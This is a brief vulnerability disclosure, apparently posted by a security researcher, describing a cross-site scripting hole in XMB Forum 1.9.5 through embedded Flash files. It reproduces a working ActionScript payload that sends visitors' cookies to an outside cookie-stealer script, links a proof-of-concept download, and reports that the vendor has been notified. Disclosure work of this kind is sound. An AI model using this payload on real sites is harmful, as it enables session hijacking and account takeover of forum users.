XMB Forum 1.9.5 (I have not tested this on earlier versions)
allows users to embed flash (.swf) videos in their posts.
Normally, you could set an option on the <object> tag to say that ActionScript cannot run, but in this case we don't.

The way we execute our code is by making a flash movie containing the Actionscript code:
getURL("javascript:document.location='http://my-site.com/path/to/cookiestealer.php?cookie='+document.cookie;");

An example video + .fla script can be downloaded at my site: http://dynxss.whiteacid.org/videos/xmbforum_1.9.5-final.rar

XMB has been notified, expect this to be fixed in a few days.

comments, questions, flames, etc.
r0xes [dot] ratm [at] gmail [dot] com